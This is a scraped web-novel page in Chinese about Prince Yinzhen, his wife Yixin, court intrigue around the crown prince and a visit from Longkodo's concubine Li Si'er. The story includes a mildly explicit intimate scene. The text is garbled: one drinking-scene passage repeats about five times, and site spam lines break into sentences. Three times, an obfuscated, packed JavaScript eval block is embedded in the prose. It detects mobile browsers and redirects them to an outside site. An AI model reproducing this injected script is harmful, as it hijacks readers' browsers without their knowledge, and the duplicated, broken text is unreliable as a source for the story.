仪欣肩膀轻颤,胤禛眼风一扫,骨节分明的手掩住她的耳朵,扯了扯唇,故意道,“皇阿玛要将臣弟记在孝懿皇后名下,臣弟不愿意,二哥替臣弟想想办法吧。” “什么?”太子冷笑。 胤禛两指挑着马车帘,点了点头。 太子忽然闻到马车里传出的淡淡馨香,丹凤眼眯了眯,狩猎般舌尖顶了顶上颚,温声问:“你怎么想的?” 他可以不喜欢嫡子这个身份,但是,他绝对不允许别人来占。 胤禛冷了神色,放下马车帘:“臣弟怎么想的,这不是很明显吗?” 太子若有所思,策马离开,回自己别院的路上竟是遭到了刺杀,左肩被砍了一剑。 胤禛将时间把控的极好,顺手救了太子。 刚开城门,没耽误雍亲王府的马车第一个大摇大摆出城,待到康熙再得到消息,胤禛已经到了别院了。 别院,寝殿。 仪欣惊呼:“什么?太子昨夜过来了?遭到刺杀还被王爷救了?” 晴云点头:“是。” 她还是不提了,太子殿下左肩一个窟窿,右手有些挫伤,太子的侍卫也是莫名其妙没了身影,还好王爷到的早。 “哎呀,怎么没人叫醒我?”仪欣柳眉微蹙,一副秋水剪瞳乌润润看着胤禛,赶紧摸摸他的额头。 胤禛撂下玉箸,纳闷道:“怎么了?” 仪欣担忧问:“王爷,你昨晚吓到没有?” 胤禛一顿,淡定点点头:“本王都吓坏了。” 苏培盛心头一梗,又来了又来了,柔弱不能自理的王爷昨夜吩咐一个不留时,可不是这副模样。 仪欣站在胤禛身边,闻言抱住他的肩膀,安抚地搓了搓,胤禛坐着,脑袋慢慢靠在仪欣柔软的小腹上,低 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 头轻笑。 胤禛昨夜基本没睡,第一日也不打算出门,他倚在软榻上坐着翻看仪欣的脉案,等待她泡完药浴。 宋太医候在一旁。 他已经成为雍亲王府的专属太医了,宫里的份例正常领,并且王爷给的实在多,他觉得比在宫里当差要好上许多。 每日要做的事便是为福晋调理身子,福晋是个完美的病人,全心全意相信他,难捱的药浴也不会抵触。 王爷更是完美的病人夫君,性格温和又礼贤下士,还略懂医书,短短一年便能精通脉案,咨询福晋的身体问题时言之有物,无论用多么名贵的药材都会绝对配合。 “她平日容易累,而且,走路冒冒失失容易手麻脚麻,这需要用什么药吗?胤禛特意问。 宋太医道:“福晋只是常年在内室,不常锻炼的缘故,症状极其轻微,多晒太阳和锻炼即可。 “嗯。 胤禛松口气,示意苏培盛给赏银。 多晒太阳,那好办。 仪欣从浴房被晴云扶着出来,她浑身粉红,浅棕色的眸子里带着些许迷离,看到胤禛垂眸委屈张开胳膊。 胤禛迎上去把人捞到怀里,抱着大步往内室走,他亲了亲她的眼皮,“辛苦了,小乖。 “王爷,我们再睡一会儿。仪欣安稳窝在胤禛怀里。 “好。 胤禛把仪欣放到床榻上,将自己的外衣搭在梨花架上,坐在床沿搂紧她。 “王爷也睡。 “好。 胤禛躺到仪欣外侧,手臂用力将她抱到身上趴着。 “王爷,你好硬。仪欣嘟囔抱怨道。 胤禛慢慢弯唇询问:“什么好硬? 仪欣蹭了蹭:“胸膛啊。 胤禛含笑闭上眼,不紧不慢拍着她的脊背,无奈道:“硬就硬吧,没办法。 他有些困了,她趴在他的身上像是软绵绵的被衾,他轻轻抚过她的脊骨,她单薄的背酥酥麻麻的硌着他的手腕,胤禛单手褪掉佛珠,偏头轻吻她的脑袋,纯良无害的垂眸闭眼睛。 两个人不一会儿就睡得很熟。 苏培盛轻手轻脚进来,看到这触动的 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都吃了。 … 话说,在哪里跌倒就要在哪里爬起来。 仪欣又开始准备栽种马铃薯,并且信誓旦旦保证,没有十三爷捣乱,她一定可以吃到自己种的马铃薯。 胤禛认真点点头。 老十三因为多管闲事吃得亏不少,马铃薯的事情,他担了也不错。 夏日炎炎,仪欣最是爱漂亮,如今有机会穿夏日衣衫,更是恨不得一天换三套。 胤禛给她准备了各式旗装,与此同时,襦裙汉服也派人裁制了几十套换着穿,又不是在京城,在他和她的别庄,唯一的规矩便是仪欣高兴。 果不其然,仪欣十分欣然,她喜欢今年的夏日,装扮的如同花蝴蝶一般,有时挽着双刀髻,有时簪着牡丹头,她站在哪里,哪里就好似多一束阳光一般明亮。 只不过,仪欣是个三天打鱼两天晒网的性子,开始还兴致勃勃恨不得自己耕两亩地,如今吞吞吐吐站在田间撑着油纸伞,小声说:“王爷,好热,咱们晚上再出来耕地吧。” 第115章醉酒。 胤禛无奈看她一眼,晚上耕地?农桑劳作向来便是日出而作,日入而息,只有她想的出来晚上耕地这种事。 况且,主要是为了和她一起晒晒太阳。 仪欣讨价还价,那回去吃一个乳酪冰碗吧。 胤禛生来便是强势的,乳酪冰碗在他的接受范围之内,他欣然同意。 仪欣也很欢喜。 于是,田间地头多了一对欢欢喜喜耕种的民间夫妻。 傅文到了别庄,胤禛牵着仪欣回到别院。 “王爷,福晋。”傅文等在花厅中喝茶,见二人进来起身行礼。 仪欣笑盈盈挽着胤禛的手臂,她穿着唐代襦裙,挽着双刀髻,如同画里走出来的娇媚仙子。 胤禛却穿着短衣粗褐,若不是周身气质沉稳威仪,眉眼冷寂,傅文险些没认出来。 见到傅文,仪欣很高兴,张罗着晚膳要吃鹿肉锅子,还让小厨房炙烤两只野兔,当然也没忘记自己的乳酪冰碗。 仪欣回别院需要泡温泉,然后再搽各种凝脂香膏,时间花费很长。 胤禛草草沐浴更衣后,回到书房见了傅文。 “有事?”胤禛撩袍落座。 傅文轻放茶盏,轻叹道:“王爷,您此时争嫡子身份并非绝佳时机,更不该因此和万岁爷起了不愉快。” 胤禛抬眸看他一眼:“皇上想让本王替亲弟弟解决年羹尧,这样得罪太子,扶持老十四的买卖,本王不做,只能暂退一步。” 康熙前阵子露出这样的意图,胤禛再也无法作壁上观,只能借改玉牒之事暂退一步。 而且,仪欣想让他改玉牒。 康熙那晚主动提起改玉牒之事,将胤禛当成平衡朝堂的一步棋,但是,胤禛不愿莫名其妙落子,只能破局。 傅文闻言气笑,狡黠的狐狸眼露出温和的算计:“竟是还有年羹尧这回事?怪不得,微臣多虑了,王爷不做赔本的买卖。” 胤禛淡淡开口:“嗯。” “见谅,微臣只是觉得风险太大,王爷此时动作反常,微臣挂念妹妹,故而有些草木皆兵,忙不迭来别庄叨扰。”傅文笑笑。 胤禛亲自给傅文斟上新茶,温声道:“放心。” 傅文又挑起一个话头:“太子**之事?” 胤禛眼中冷若冰霜。扯唇道:“本王临时起意。” 傅文起身,怒目而视:“真的是王爷!那可是大清三十几年的储君,朝堂上吵翻了天了。” 还是临时起意?! 傅文本是面上温和,内里激进猖狂的人,如今却被面前更猖狂的人惊出一身冷汗。 “你怎么不问本王为何?”胤禛淡定自若,唯有那双寒潭般的深瞳泄露两缕暴戾恣肆的情绪。 他不喜太子狩猎般轻嗅仪欣的气息,这是主要原因。 “为何?”傅文冷静下来。 胤禛冠冕堂皇道出次要原因:“只是为了太子怀疑皇上,激化矛盾罢了。” 傅文不信,反驳道:“王爷救了太子,太子便不会怀疑王爷吗?” 胤禛笑笑:“嗯?证据呢?” 他去别庄那晚,官道四处都是他的人,他动手极其方便,他评估后觉得万无一失,所以不再拖泥带水。 傅文说不出什么话来。 “王爷赢了,万岁爷得知太子**,担忧万分,想要衣不解带亲自照料,太子似乎疯魔,对万岁爷恶语相向,只道万岁爷想让您取太子而代之。” 太子终究更不信任康熙,因为他去找胤禛也是临时起意。 胤禛比太子更了解康熙,当然,他也比康熙更了解太子。 他已经在朝堂这个大染缸里浸沉了心思,走一步看三步,敏锐的直觉和果决的断舍离能力,让他永远做出利己的决定。 傅文蹙眉,万分担忧仪欣,小九那个娇憨纯恪的性情,若是面前男人想点什么事,小九在他手里就跟糯米团子似的。 还好,雍亲王对小九有情。 仪欣派小厮来请两个人内院用膳。 胤禛和傅文闲庭信步往内院走。 傅文闲谈般提起:“王爷,年羹尧那边的事,微臣可以亲自动手,那个年氏敢欺负我妹妹,我就撕了她哥哥。” 胤禛抬腕,止住他的话头,“慎言,什么打打杀杀的。” 傅文抬眸,看到仪欣言笑晏晏朝他们走过来,好吧,慎言,什么打打杀杀的。 用膳时,气氛非常和乐,鹿肉锅子咕噜咕噜冒着奶白色的泡泡,野兔肉诱人地摆在圆桌上,还有清淡的蔬菜和精美的小点心,还有桃花酿和牛乳茶。 仪欣吃着乳酪冰碗,跟傅文分享她最近做的事情。 傅文明日沐休,可以在别庄暂住一晚。 胤禛跟傅文饮酒,他几乎不吃鹿肉锅子。 因为,壮阳。 仪欣听闻他们话语间说桃花醉淡得跟水一样,她跃跃欲试,顺手牵羊,将胤禛酒盏中的桃花醉咕咚咕咚喝了两大口,呛得有些咳。 “王爷,这哪里跟水一样?” 胤禛反应过来,给她递温水,额角突突跳:“是跟军营里的烧刀子相比,淡得跟水一样。” 听话总是听一半。 她就是个事事好奇的小乖。 胤禛揉了揉眉心,怎么将酒盏放到了她能碰到的地方了呢? 傅文无奈,含笑对仪欣温柔说:“晕了吗?” “没有。”仪欣镇定笃定,眼睛却有些迷离,手紧张得攥着胤禛的衣角。 “先回去了。”胤禛点头示意。 傅文长身玉立,站在檐下注视着雍亲王带着仪欣回寝殿。 仪欣没有太醉,也不吐不难受,就是眼睛雾蒙蒙的,含着泪水,呜呜囔囔委屈巴巴的跟他说话。 原本白皙的肌肤一下子染上粉色,气质其实还是绵软的,只是多了几分魅惑。 她呼出的气息很热,但酒品很好,窝在怀里哪里都不走,睁着水润的大眼睛瞧人,看着眼神还很透亮,回答问题时也字正腔圆,其实已经醉得不省人事,仿佛下一秒就会一头栽倒。 胤禛安安稳稳抱着她,低头听她小声说话。 “王爷,你是不是很辛苦?” 胤禛偏头吐出酒气,亲一口她的额头:“不辛苦的。” “我告诉你个秘密吧。” “嗯,仪欣说吧。”胤禛偏头亲亲她的额头回应她。 “成亲之前,我就听说过你。” “然后呢?”胤禛亲亲她有些发红的耳尖。 “就是…我当时跟植宁打赌你行不行,然后我输了三百两银子…一年多的份例,王爷你可以赔给我吗?”仪欣抹泪抱怨。 仪欣吃着乳酪冰碗,跟傅文分享她最近做的事情。 傅文明日沐休,可以在别庄暂住一晚。 胤禛跟傅文饮酒,他几乎不吃鹿肉锅子。 因为,壮阳。 仪欣听闻他们话语间说桃花醉淡得跟水一样,她跃跃欲试,顺手牵羊,将胤禛酒盏中的桃花醉咕咚咕咚喝了两大口,呛得有些咳。 “王爷,这哪里跟水一样?” 胤禛反应过来,给她递温水,额角突突跳:“是跟军营里的烧刀子相比,淡得跟水一样。” 听话总是听一半。 她就是个事事好奇的小乖。 胤禛揉了揉眉心,怎么将酒盏放到了她能碰到的地方了呢? 傅文无奈,含笑对仪欣温柔说:“晕了吗?” “没有。”仪欣镇定笃定,眼睛却有些迷离,手紧张得攥着胤禛的衣角。 “先回去了。”胤禛点头示意。 傅文长身玉立,站在檐下注视着雍亲王带着仪欣回寝殿。 仪欣没有太醉,也不吐不难受,就是眼睛雾蒙蒙的,含着泪水,呜呜囔囔委屈巴巴的跟他说话。 原本白皙的肌肤一下子染上粉色,气质其实还是绵软的,只是多了几分魅惑。 她呼出的气息很热,但酒品很好,窝在怀里哪里都不走,睁着水润的大眼睛瞧人,看着眼神还很透亮,回答问题时也字正腔圆,其实已经醉得不省人事,仿佛下一秒就会一头栽倒。 胤禛安安稳稳抱着她,低头听她小声说话。 “王爷,你是不是很辛苦?” 胤禛偏头吐出酒气,亲一口她的额头:“不辛苦的。” “我告诉你个秘密吧。” “嗯,仪欣说吧。”胤禛偏头亲亲她的额头回应她。 “成亲之前,我就听说过你。” “然后呢?”胤禛亲亲她有些发红的耳尖。 “就是…我当时跟植宁打赌你行不行,然后我输了三百两银子…一年多的份例,王爷你可以赔给我吗?”仪欣抹泪抱怨。 仪欣吃着乳酪冰碗,跟傅文分享她最近做的事情。 傅文明日沐休,可以在别庄暂住一晚。 胤禛跟傅文饮酒,他几乎不吃鹿肉锅子。 因为,壮阳。 仪欣听闻他们话语间说桃花醉淡得跟水一样,她跃跃欲试,顺手牵羊,将胤禛酒盏中的桃花醉咕咚咕咚喝了两大口,呛得有些咳。 “王爷,这哪里跟水一样?” 胤禛反应过来,给她递温水,额角突突跳:“是跟军营里的烧刀子相比,淡得跟水一样。” 听话总是听一半。 她就是个事事好奇的小乖。 胤禛揉了揉眉心,怎么将酒盏放到了她能碰到的地方了呢? 傅文无奈,含笑对仪欣温柔说:“晕了吗?” “没有。”仪欣镇定笃定,眼睛却有些迷离,手紧张得攥着胤禛的衣角。 “先回去了。”胤禛点头示意。 傅文长身玉立,站在檐下注视着雍亲王带着仪欣回寝殿。 仪欣没有太醉,也不吐不难受,就是眼睛雾蒙蒙的,含着泪水,呜呜囔囔委屈巴巴的跟他说话。 原本白皙的肌肤一下子染上粉色,气质其实还是绵软的,只是多了几分魅惑。 她呼出的气息很热,但酒品很好,窝在怀里哪里都不走,睁着水润的大眼睛瞧人,看着眼神还很透亮,回答问题时也字正腔圆,其实已经醉得不省人事,仿佛下一秒就会一头栽倒。 胤禛安安稳稳抱着她,低头听她小声说话。 “王爷,你是不是很辛苦?” 胤禛偏头吐出酒气,亲一口她的额头:“不辛苦的。” “我告诉你个秘密吧。” “嗯,仪欣说吧。”胤禛偏头亲亲她的额头回应她。 “成亲之前,我就听说过你。” “然后呢?”胤禛亲亲她有些发红的耳尖。 “就是…我当时跟植宁打赌你行不行,然后我输了三百两银子…一年多的份例,王爷你可以赔给我吗?”仪欣抹泪抱怨。 仪欣吃着乳酪冰碗,跟傅文分享她最近做的事情。 傅文明日沐休,可以在别庄暂住一晚。 胤禛跟傅文饮酒,他几乎不吃鹿肉锅子。 因为,壮阳。 仪欣听闻他们话语间说桃花醉淡得跟水一样,她跃跃欲试,顺手牵羊,将胤禛酒盏中的桃花醉咕咚咕咚喝了两大口,呛得有些咳。 “王爷,这哪里跟水一样?” 胤禛反应过来,给她递温水,额角突突跳:“是跟军营里的烧刀子相比,淡得跟水一样。” 听话总是听一半。 她就是个事事好奇的小乖。 胤禛揉了揉眉心,怎么将酒盏放到了她能碰到的地方了呢? 傅文无奈,含笑对仪欣温柔说:“晕了吗?” “没有。”仪欣镇定笃定,眼睛却有些迷离,手紧张得攥着胤禛的衣角。 “先回去了。”胤禛点头示意。 傅文长身玉立,站在檐下注视着雍亲王带着仪欣回寝殿。 仪欣没有太醉,也不吐不难受,就是眼睛雾蒙蒙的,含着泪水,呜呜囔囔委屈巴巴的跟他说话。 原本白皙的肌肤一下子染上粉色,气质其实还是绵软的,只是多了几分魅惑。 她呼出的气息很热,但酒品很好,窝在怀里哪里都不走,睁着水润的大眼睛瞧人,看着眼神还很透亮,回答问题时也字正腔圆,其实已经醉得不省人事,仿佛下一秒就会一头栽倒。 胤禛安安稳稳抱着她,低头听她小声说话。 “王爷,你是不是很辛苦?” 胤禛偏头吐出酒气,亲一口她的额头:“不辛苦的。” “我告诉你个秘密吧。” “嗯,仪欣说吧。”胤禛偏头亲亲她的额头回应她。 “成亲之前,我就听说过你。” “然后呢?”胤禛亲亲她有些发红的耳尖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仪欣吃着乳酪冰碗,跟傅文分享她最近做的事情。 傅文明日沐休,可以在别庄暂住一晚。 胤禛跟傅文饮酒,他几乎不吃鹿肉锅子。 因为,壮阳。 仪欣听闻他们话语间说桃花醉淡得跟水一样,她跃跃欲试,顺手牵羊,将胤禛酒盏中的桃花醉咕咚咕咚喝了两大口,呛得有些咳。 “王爷,这哪里跟水一样?” 胤禛反应过来,给她递温水,额角突突跳:“是跟军营里的烧刀子相比,淡得跟水一样。” 听话总是听一半。 她就是个事事好奇的小乖。 胤禛揉了揉眉心,怎么将酒盏放到了她能碰到的地方了呢? 傅文无奈,含笑对仪欣温柔说:“晕了吗?” “没有。”仪欣镇定笃定,眼睛却有些迷离,手紧张得攥着胤禛的衣角。 “先回去了。”胤禛点头示意。 傅文长身玉立,站在檐下注视着雍亲王带着仪欣回寝殿。 仪欣没有太醉,也不吐不难受,就是眼睛雾蒙蒙的,含着泪水,呜呜囔囔委屈巴巴的跟他说话。 原本白皙的肌肤一下子染上粉色,气质其实还是绵软的,只是多了几分魅惑。 她呼出的气息很热,但酒品很好,窝在怀里哪里都不走,睁着水润的大眼睛瞧人,看着眼神还很透亮,回答问题时也字正腔圆,其实已经醉得不省人事,仿佛下一秒就会一头栽倒。 胤禛安安稳稳抱着她,低头听她小声说话。 “王爷,你是不是很辛苦?” 胤禛偏头吐出酒气,亲一口她的额头:“不辛苦的。” “我告诉你个秘密吧。” “嗯,仪欣说吧。”胤禛偏头亲亲她的额头回应她。 “成亲之前,我就听说过你。” “然后呢?”胤禛亲亲她有些发红的耳尖。 “就是…我当时跟植宁打赌你行不行,然后我输了三百两银子…一年多的份例,王爷你可以赔给我吗?”仪欣抹泪抱怨。 仪欣吃着乳酪冰碗,跟傅文分享她最近做的事情。 傅文明日沐休,可以在别庄暂住一晚。 胤禛跟傅文饮酒,他几乎不吃鹿肉锅子。 因为,壮阳。 仪欣听闻他们话语间说桃花醉淡得跟水一样,她跃跃欲试,顺手牵羊,将胤禛酒盏中的桃花醉咕咚咕咚喝了两大口,呛得有些咳。 “王爷,这哪里跟水一样?” 胤禛反应过来,给她递温水,额角突突跳:“是跟军营里的烧刀子相比,淡得跟水一样。” 听话总是听一半。 她就是个事事好奇的小乖。 胤禛揉了揉眉心,怎么将酒盏放到了她能碰到的地方了呢? 傅文无奈,含笑对仪欣温柔说:“晕了吗?” “没有。”仪欣镇定笃定,眼睛却有些迷离,手紧张得攥着胤禛的衣角。 “先回去了。”胤禛点头示意。 傅文长身玉立,站在檐下注视着雍亲王带着仪欣回寝殿。 仪欣没有太醉,也不吐不难受,就是眼睛雾蒙蒙的,含着泪水,呜呜囔囔委屈巴巴的跟他说话。 原本白皙的肌肤一下子染上粉色,气质其实还是绵软的,只是多了几分魅惑。 她呼出的气息很热,但酒品很好,窝在怀里哪里都不走,睁着水润的大眼睛瞧人,看着眼神还很透亮,回答问题时也字正腔圆,其实已经醉得不省人事,仿佛下一秒就会一头栽倒。 胤禛安安稳稳抱着她,低头听她小声说话。 “王爷,你是不是很辛苦?” 胤禛偏头吐出酒气,亲一口她的额头:“不辛苦的。” “我告诉你个秘密吧。” “嗯,仪欣说吧。”胤禛偏头亲亲她的额头回应她。 “成亲之前,我就听说过你。” “然后呢?”胤禛亲亲她有些发红的耳尖。 “就是…我当时跟植宁打赌你行不行,然后我输了三百两银子…一年多的份例,王爷你可以赔给我吗?”仪欣抹泪抱怨。 第116章是谁还吃不饱饭啊 话音刚落仪欣觉得身子一轻晕乎乎的赶忙搂住胤禛的脖颈原来是被单手抱起来了。 仪欣吸了吸鼻尖温软哽咽问:“王爷是要给我拿银两吗?” 胤禛淡淡垂眸抱着她继续大步走:“不是本王带你找戒尺。” 打赏男伶人打赌讨论男人行不行她成亲之前过得挺精彩。 迟早有一天气死他。 仪欣大惊失色赶忙呼唤王爷王爷企图唤醒胤禛的怜爱抱着脖颈不得章法胡乱亲吻眼尾绯红楚楚可怜的模样。 她慌乱挣扎胤禛默默用另一只手也抱紧她不让她掉下去。 仪欣觉得安全些赶紧撒开抱着他脖颈的手哭着用手背抹眼泪。 “别找戒尺。”仪欣抽抽嗒嗒瞅着胤禛粉面桃花带着酡红的酒气她又瘪了瘪嘴。 胤禛气笑只会撒娇卖乖偏偏他吃这一套只觉得心软软他温柔淡声道“那仪欣哄哄我。” “为什么王爷不能哄哄我呢?”仪欣樱唇倾吐酒气眼尾含着醉人的珍珠微微眨眼便能落在胤禛的怀里她薄醉时露着平日里没有的妩媚娇娆身子轻轻一掐好似能酿出最难能一见最醇香的桃花醉。 胤禛觉得他亦薄醉。 “为什么呢?”他的声音里是道不尽的柔情。 仪欣字正腔圆带着哽咽乖巧解释:“因为我每天都吃不饱饭还要下地干活我需要王爷致致诚诚的哄哄我。” 胤禛:“?” 谁?她吗? 她每天都吃不饱饭?还要下地干活? “你如今太瘦并非是吃的太少的缘故 胤禛知道她醉了还是耐心解释谁知还未说出个所以然来怀中人软绵绵的手已经放到了正确答案的地方。 仪欣乌润润的眼眸望着他嗫嚅小声道:“可是王爷我真的吃不饱……” 胤禛闭了闭眼沉默半晌:“富察仪欣你说什么吃不饱?” 他呼出的气都是热的理智已经有些坍塌。 她还要抱怨。 是因为谁的问题呢? “王爷…你是不是要缓一段时间那植宁要退我一百五十两 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 银子。仪欣抱住他的腰,耳朵贴在他起伏不定的胸膛上。 胤禛声音暗哑低沉,突然低笑一声:“不用,是你需要。 贼喊捉贼的小无赖。 仪欣用怀疑的小眼神看着他,挣扎着从他怀里出去,老老实实站在寝殿中央,小脸酡红,瘪了瘪嘴。 胤禛大步离开寝殿,不到半刻钟便回来了,手上还有水珠,他用绢帕一根根擦干修长的手指。 仪欣还迷迷糊糊在寝殿站着,脑袋一直随着胤禛的动作移动。 “过来,想吃什么,自己过来拿。胤禛眸色漆黑,解开自己的衣裳。 仪欣咽了咽口水,向前挪了一小步。 “王爷,你想吃什么? 胤禛低头闷闷笑,扯掉床幔,打横抱起寝殿中央的垂着脑袋眼巴巴的小猫,“怎么还委屈上了?不许到外面胡说八道吃不饱饭的事情。 仪欣脑袋懵懵的,一下子被塞到暗沉沉的床榻里,暧昧的气息酥润润包裹着她,王爷好像眼尾也有些红晕,她好渴,“王爷,亲亲,亲亲就不委屈了。 “过来,坐过来胤禛引导着拍拍自己的腿,一边慢条斯理摘下腕间的佛珠和拇指的扳指。 仪欣笑眯眯坐到他的腿上,搂着胤禛的脖颈便亲了上去,胤禛一只手按着她的脑袋。 一边替她宽衣解带。 “这样亲不到王爷。仪欣不想亲不到他。 胤禛笑一下,主动亲上去。 仪欣羞得双手攥住他的手腕,摇晃本就晕晕的脑袋,“王爷,这样不行。 “小乖,小乖…胤禛小声唤了两句。 仪欣又开始吃这一套了,不争气松开手,抹一把眼泪,可是他叫她小乖欸呜呜呜。 胤禛笑眯眯狐狸似的,狡黠漂亮又威风凛凛地衔着一只茫然醉酒的小兔子,打了胜仗一般,在布满迷雾的丛林里闲逛。 仪欣一声声喊“王爷王爷…胤禛…胤禛… “嗯?在呢…在呢… 胤禛轻轻回应她,在她耳边沉声含笑逗她。 “……胤禛说。 仪欣很快又醉又不能思考,继续唤王爷… 胤禛从容淡定。 仪欣开始啪嗒啪嗒掉眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267101|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 你的朋友正在书荒,快去帮帮他吧 胤禛在她耳边夸赞她,仪欣瞪大乌润润的眸子,醒酒了。 好吧好吧,乳酪冰碗。 … 胤禛重新净手回来,仪欣还没有睡着,被衾拉得高高的,只露一双眼睛,视线轻轻触碰他,闭上眼。 “过来抱一会儿。”胤禛给她喂完温水,重新上床榻。 仪欣慢慢坐起来,咕咚咕咚喝温水,喝完一盏还想要,她头上松散挽着发髻,看起来像一只慵懒的小狮子,嘎嘣一下躺到他的肩膀上,别过脸去不看他。 胤禛闷闷笑,把人拉到怀里搂紧,安抚拍了拍,凑在她耳边温柔轻吻:“我和你这样是很正常的,乖乖,刚刚很可爱。” “王爷,那你呢?你的情和欲呢?”仪欣声音更轻。 她能感觉到王爷的想法,却从来不见他的肆意。 烛火昏暗,经床幔减淡一层,更有幽静私密的氛围,好像事/后特别适合情人间厮磨耳语。 胤禛亲亲她的脑袋,“我舍不得你因为这档子事生病。” 她泡药浴的日子不能做,药物有相生相克的道理。 “原来是这样。” “不然呢?因为本王不、行?”胤禛掐一把她的脸。 “可是,我也想让你也快乐。” 胤禛轻咳,“现在不要说这么乖的话。” “王爷,我也可以帮你。”仪欣戳戳他的腰。 “胤禛…胤禛…” 胤禛闭了闭眼,牵住她的手,与她十指紧扣。 “嗯。” * 日上三竿。 傅文和胤禛坐在花厅里喝茶。 仪欣还没醒。 胤禛是沉默寡言的人,纵使跟仪欣的亲兄长,也做不到健谈,傅文心有忧虑,只能试探问仪欣身体怎么样。 “她很好,如今两日一次药浴,雷打不动,若是身子疲乏,还要再多一次。”胤禛熟稔说。 接着又说仪欣最近在调养脾胃和一些小毛病,隔三差五就出去晒晒太阳。 傅文顾不得再试探,直接问:“王爷,福晋如今的身子,应该不能有子嗣吧?” 第117章李四儿 胤禛笑笑,想起什么,坦白道,“在彻底健健康康之前,她不会有孩子的。 傅文指腹摩挲一下杯盏,问:“王爷可是用了药? 胤禛讳莫如深看他一眼,他不需要跟聪明人说的太明白。 不行,他要将仪欣也教的这么聪明。 别庄方向慢悠悠过来一辆马车。 马车里一女子尖细妖娆的声音:“还有多久?本夫人都要坐不住了。 “夫人,快到了。小丫鬟快步走着,气喘吁吁道。 “若不是赫舍里氏那个蠢货,怎么需要本夫人亲自走一趟?不过是个刚及笄的丫头片子,耍的她们三个团团转,没用的东西。 小丫鬟苦不堪言。 这不是您为了体现自己的身份地位主动求着老爷来的拜访雍亲王福晋的吗? 夫人这个性情和身份,雍亲王福晋能待见吗? 连她一个小丫鬟都清楚,夫人这身份不配去拜访雍亲王福晋,老爷也不知被灌了什么**汤。 老爷对李夫人千依百顺,不是什么秘密了。 “快点快点,怎么赶得马车? 李四儿尖声催促,她红唇细眉托腮倚在宽敞马车里,戴着珠光宝气的首饰,妩媚惊艳的脸上浮着市侩和庸俗。 得知佟佳府女眷前来拜见的消息,仪欣刚醒。 她翻个白眼,“这次来,又要送什么破铜烂铁? 晴云轻声道:“福晋,佟佳氏的庄子离咱们别院不远,来得是隆科多的妾室。 “什么? “隆科多的宠妾,去年佟佳老大人过世,便是这个妾室一副正室做派,代表赫舍里氏迎来送往。晴云解释,“福晋,可要让她进来? 仪欣“嘶——一声,想起来了,她听说过这个李四儿的来历,她和植宁还听姚虞姐姐提过此事。 当时姚虞姐姐去佟佳氏府邸,结果是个轻佻妾室招待,差点没被佟佳府呕死。 “来来来,闲着也是闲着。仪欣撸了撸袖子,“给本福晋梳妆,让她等着。 一个时辰后,花厅。 傅文无奈看着眼前花蝴蝶,含笑问:“福晋何必去见那什么李四儿? “大哥,她很有名,我得去会会她。仪欣兴 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 冲冲,像是要去打胜仗似的。 “哦?带把剑去吧?胤禛抬眸淡淡开口,撂下茶盏。 这是警告她不能亲自动手。 “不不不,王爷,不敢了,我赤手空拳去就行。仪欣憨笑连忙摆手,她哪里还敢拿剑,万一王爷再带着她杀鸡怎么办? 胤禛气笑,还赤手空拳,还挺可爱。 仪欣带着一群丫鬟随从雄赳赳气昂昂往前院走。 傅文纳闷看胤禛,拧眉问:“王爷怎么鼓励她拿剑呢?多危险,还好小九懂事。 “嗯,懂事,前阵子拿着剑差点把老十四砍了,不辱富察氏骁勇门风。胤禛捻了捻佛珠,声音很平静。 傅文:“……… 还有这回事? 其实,还挺像仪欣能干出来的事情。 “王爷…费心了。傅文给胤禛斟茶。 胤禛拦住,“应该的。 前院,花厅。 仪欣扫视起身的女子,轻哼一声,挑眉问:“怎么不是赫舍里氏前来拜见? 李四儿见到仪欣一愣,眼前尊贵人儿穿着紫云广袖汉服,巴掌大的小脸上五官极其精致,由两名丫鬟一左一右扶着,葳蕤踩着花盆底,一派明艳娇贵的模样。 漂亮是真绝色,就是,穿得什么衣裳,雍亲王也不管管? 李四儿颇为谄媚迎了两步,娇娇弱弱行礼,“妾身给雍亲王福晋请安,妾身是隆科多的李夫人,赫舍里氏重病在床,前阵子开罪了福晋,妾身特意来给福晋赔礼道歉。 仪欣坐到上首,一甩衣袖,指了指堂间李四儿,不屑蹙眉,“你,自称奴才。 李四儿瞪大眼睛,上挑的眼尾溢出错愕,磕磕绊绊道:“奴才…我是隆科多大人的平妻… 仪欣纳闷:“妾就是妾,说什么平妻?皇贵妃都不敢自称平妻,隆科多要登基不成? 除了仪欣和李四儿,所有人惶恐跪下。 老天爷,福晋,福晋,这是要把隆科多大人送到谋逆的罪名不成? 说罢之后,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267102|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良子膝行至门口,不行,得赶紧请王爷过来。 李四儿是个猖狂的井底之蛙,在佟佳氏府上为非作歹,如今隆科多朝堂得意,佟佳氏更有佟半朝之称,她被隆科多宠得还真没怕过谁。 